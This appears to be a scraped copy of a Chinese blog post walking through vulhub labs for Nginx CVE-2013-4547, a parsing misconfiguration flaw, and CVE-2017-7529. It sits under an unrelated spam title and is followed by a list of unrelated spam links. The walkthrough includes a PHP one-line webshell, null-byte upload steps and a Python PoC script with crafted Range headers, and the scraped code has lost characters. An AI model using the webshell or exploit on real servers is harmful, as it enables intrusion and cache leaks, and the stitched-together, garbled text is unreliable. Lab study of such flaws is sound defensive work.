当前位置: 首页 > news >正文

个人网站 怎么设计个人网页设计作品简单

个人网站 怎么设计,个人网页设计作品简单,电子商务网站建设的范围是什么意思,网站建设合同 简单目录 1、Nginx文件名逻辑漏洞 2、Nginx解析漏洞 3、Nginx越权读取缓存漏洞 这里需要的漏洞环境可以看#xff1a;Nginx 配置错误导致的漏洞-CSDN博客 1、Nginx文件名逻辑漏洞 该漏洞利用条件有两个#xff1a; Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 php-fpm.conf中的s…目录 1、Nginx文件名逻辑漏洞 2、Nginx解析漏洞 3、Nginx越权读取缓存漏洞 这里需要的漏洞环境可以看Nginx 配置错误导致的漏洞-CSDN博客 1、Nginx文件名逻辑漏洞 该漏洞利用条件有两个 Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 php-fpm.conf中的security.limit_extensions为空也就是说任意后缀名都可以解析为PHP、 首先我们移动对对应的漏洞文件目录下 cd /root/vulhub-master/nginx/CVE-2013-4547拉取环境 docker-compose up -d 然后可以访问一下 可以看到这里是让我们上传一个文件的操作  然后我们分析一下这个文件名解析漏洞 这个漏洞其实和代码执行没有太大关系其主要原因是错误地解析了请求的URI错误地获取到用户请求的文件名导致出现权限绕过、代码执行的连带影响。 举个例子比如Nginx匹配到.php结尾的请求就发送给fastcgi是一种协议规范进行解析常见的写法如下 location ~ \.php$ {include fastcgi_params;fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;fastcgi_param DOCUMENT_ROOT /var/www/html; } 正常情况下关闭pathinfo的情况下只有.php后缀的文件才会被发送给fastcgi解析。 而存在CVE-2013-4547的情况下我们请求1.gif[0x20][0x00].php这个URI可以匹配上正则\.php$可以进入这个Location块但进入后Nginx却错误地认为请求的文件是1.gif[0x20]这里就是因为\0截断问题就设置其为SCRIPT_FILENAME的值发送给fastcgi。 若我们访问的文件名为shell.gif0x20.php该文件名以.php结尾可以被FastCGI接收FastCGI在读取文件名时被00截断导致读取的文件名为1.gif[0x20]配合limit_extensions为空即可利用成功。 1现在我们可以新建一个txt文本文件 2将一句话木马写入 ?php system($_GET[var]); ? 3修改后缀为.jpg 4打开BP进行抓包 5上传刚才的一句话木马图片 然后可以看到成功的抓到了这个上传文件的数据包 6修改包 首先我们在这里插入了两个aa用于后面替换\0截断字符 然后点击Hex中来进行修改 这里相当于已经插入了\0截断字符 7最后点击go进行访问 8最后访问这个文件 访问时再次使用BP抓到数据包 使用同样的访问进行将 61 61修改为 20 00 这里因为火绒浏览器一说报错说图片显示有问题并且其他浏览器没有代理的原因最后的访问没有成功一直报错400暂时没有成功不过这里是可以正常解析php的 总结一下这一共利用了两个点 利用\0会截断文件名的漏洞上传将.php文件当做.jpg文件上传利用将security.limit_extensions 设置为空来可以以php的方式来解析.jpg文件 2、Nginx解析漏洞 首先进入到对应的目录 /root/vulhub-master/nginx/nginx_parsing_vulnerability拉取漏洞环境 docker-compose up -d注如果这里拉取环境报错说443端口被占用可以使用systemctrl来关闭nginx服务解决问题  现在分析一下这个解析漏洞 该漏洞与Nginx、php版本无关属于用户配置不当造成的解析漏洞。   利用条件 #这两个条件同时满足 # php.ini cgi.fix_pathinfo1 # php-fpm.conf security.limit_extensions .php .jpg 我们现在的环境满足这两个条件那么现在可以尝试测试一下  首先先准备一个test.jpg内容为 ?php phpinfo(); ? 当访问http://127.0.0.1/test.jpg时显示图片解析错误当访问http://127.0.0.1/test.jpg/test.php时结果显示Access denied这个回显很奇怪正常访问这个链接是不存在的正常思维应该是404这里就需要研究下Nginx的解析流程了 Nginx在收到/test.jpg/test.php路径时首先判断文件类型发现后缀是.php便交给php处理但php想要解析该文件时发现并不存在便删除掉/test.php去找test.jpg此时test.jpg是存在的便要尝试解析它但无奈后缀是.jpg不是php便报错Access denied。 上面的流程中提到了一个点就是删除/test.php这是Nginx的“修理”机制由参数cgi.fix_pathinfo决定当值为1时便进行“修理”。 例如文件名为/aa.jpg/bb.png/cc.php如果cc.php不存在就找/aa.jpg/bb.png如果还不存在就找aa.jpg如果存在将它视为php文件。 到目前为止我们并没有成功利用解析漏洞因为php代码并没有执行。为什么呢 因为在PHP的配置中没有定义降.jpg文件中的php代码也解析为php这是在security.limit_extensions中定义的。由于security.limit_extensions的引入漏洞难以利用。 利用效果   3、Nginx越权读取缓存漏洞 首先进入到对应的目录 /root/vulhub-master/nginx/CVE-2017-7529拉取漏洞环境 docker-compose up -d下面就分析一下这个越权读取缓存漏洞  Nginx在反向代理站点的时候通常会将一些文件进行缓存特别是静态文件。缓存的部分存储在文件中每个缓存文件包括“文件头”“HTTP返回包头”“HTTP返回包体”。 如果二次请求命中了该缓存文件则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。 如果我的请求中包含Range头Nginx将会根据我指定的start和end位置返回指定长度的内容。而如果我构造了两个负的位置如(-600, -9223372036854774591)将可能读取到负位置的数据。如果这次请求又命中了缓存文件则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。 content-Range内容的范围 range是什么 存在于HTTP请求头中表示请求目标资源的部分内容例如请求一个图片的前半部分单位是byte原则上从0开始但今天介绍的是可以设置为负数。 range的典型应用场景例如断点续传、分批请求资源。 缓存是什么 大多数的Web服务器都具有缓存的功能解释起来比较麻烦可以看下图 分布式缓存介绍 当请求服务器的资源时如果在缓存服务器中存在则直接返回不在访问应用服务器可以降低应用服务器的负载。 例如网站的首页的缓存nginx的默认缓存路径在/tmp/nginx下例如当请求服务器的资源时如果在缓存服务器中存在则直接返回不在访问应用服务器可以降低应用服务器的负载。 1、现在我要读取刚才讲到的缓存文件头他的Content-Length时612那么我读取正常缓存文件的range是设置为 Range: bytes0-612 使用curl工具测试下命令如下,执行后发现返回的内容是正常的。 curl -i http://127.0.0.1:8080 -r 0-612 2、接下来要读取缓存头读取前面600个字节也就是 rangecontent_length 偏移长度 即 range 612 600 取负值为-1212 此时知道range的start是-1212那么end呢nginx的源码在声明start,end时用的是64位有符号整型所以最大可表示 -2^63-2^63-1 也就是 -9223372036854775808 到 9223372036854775807 所以只要startend为9223372036854775807即可故 end 9223372036854775808 - 1212 取负 为-9223372036854774596 3、下面我们就尝试复现一下 1在浏览器访问http://192.168.159.200:8080/ 2 python3 poc.py http://127.0.0.1:8080 poc.python: #!/usr/bin/env python import sys import requestsif len(sys.argv) 2:print(%s url % (sys.argv[0]))print(eg: python %s http://your-ip:8080/ % (sys.argv[0]))sys.exit()headers {User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 } offset 605 url sys.argv[1] file_len len(requests.get(url, headersheaders).content) n file_len offset headers[Range] bytes-%d,-%d % (n, 0x8000000000000000 - n)r requests.get(url, headersheaders)到这里常见的几种Nginx漏洞已经复现完毕其他Nginx漏洞详见Vulhub - Docker-Compose file for vulnerability environment
http://www.ho-use.cn/article/10816152.html

相关文章:

  • 南京哪里有做网站的德阳网站建设公司哪家好
  • 东莞网站设计电话天津网站建设索王道下拉
  • 萤石云网站开发以网站做跳板入侵
  • 网站建设longda天津武清做淘宝网站
  • 深圳网站建设设计定做免费做ppt网站
  • 珠海网站建设技术支持王野天津电视台
  • 网站建设宣传psd产品营销文案
  • 网站首页设置伪静态青岛 google seo
  • 做外贸要建什么网站司法局网站建设方案
  • 中山市企业网站seo哪里好哪类公司做网站的最多
  • 取名网站怎么做网站登录密码忘记
  • 汕头建站价格2008年做的网站
  • 网站建设 案例延安网站设计公司
  • 没签合同网站做不好阿里巴巴网站建设基础服务
  • 企业为什么做网站系统wordpress前端登陆
  • php p2p网站开发永久网站推广
  • 海东营销网站建设公司优化大师班级优化大师
  • 网站建设下单源码h5模板免费下载
  • 网站开发设计方案书保定网站制作报价
  • 笨笨网站建设专家网站建设合同需注意什么
  • 做网站的产品图片seo排名优化教程
  • linux 网站服务器搭建上海浦东做网站
  • 陕西金顶建设公司网站企业网络营销培训
  • 西安网站建设有限公司视频网站怎么做采集
  • 网站flash代码爱站网关键词密度
  • 一流的网站建设哪家好上海建设摩托车
  • wordpress站内搜索框莱芜都市网招聘
  • 嘉兴港区建设局网站建设部网站怎么查安全员
  • 怀化二手车网站wordpress主题网站模板
  • 织梦 大型综合旅游网站 源码html怎么做